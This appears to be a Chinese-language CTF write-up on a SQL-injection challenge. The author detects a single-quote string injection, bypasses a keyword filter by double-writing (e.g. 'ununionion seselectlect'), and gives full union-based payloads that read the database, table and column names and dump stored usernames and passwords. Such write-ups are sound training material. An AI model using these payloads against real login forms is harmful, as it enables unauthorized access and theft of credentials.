前言
- 今天,居然有了想去当初中暑假辅导老师的想法,恐怖如斯。
- 主要是时间短,弹性时间,还能有时间学点东西。同时有点收入。
- 还是系列sql注入。
读题
- 就没啥了,还是熟悉的界面。
- 首先尝试
1、1'、1"
,得出是单引号闭合的字符型。而且还有报错回显。 - 然后再拿字典跑一下,返回长度有726、751、大于900的。
- 726,提示输入账号密码,应该是被替换为空了,过滤了 union 、select、if 、or等等。
- 751 ,提示账号密码错误,就说明没被过滤
- 大于900的则提示sql语句错误,说明也没被过滤
- 于是发现,双写可以绕过。
- 所以,开始尝试
解题
-
先根据报错得出列数为3
-
尝试获取数据库名称,成功得到数据库名称
geek
?username=1' ununionion seselectlect 1,2,database() %23&password=1
-
读取表,有一点是
information_schema.tables
里也有一个被过滤的or,所以也得局部双写infoorrmation_schema.tables
,成功得到表名b4bsql
,geekuser
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database() %23&password=1
-
同理获取两个表的字段信息,先获取表
b4bsql
中的内容,得到id、username、password 字段名?username=1' ununionion seselectlect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql' %23&password=1
-
直接读取内容,注意password里也有个or,直接看到flag,因为太长,所以f12即可
?username=1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm b4bsql %23&password=1
- 结束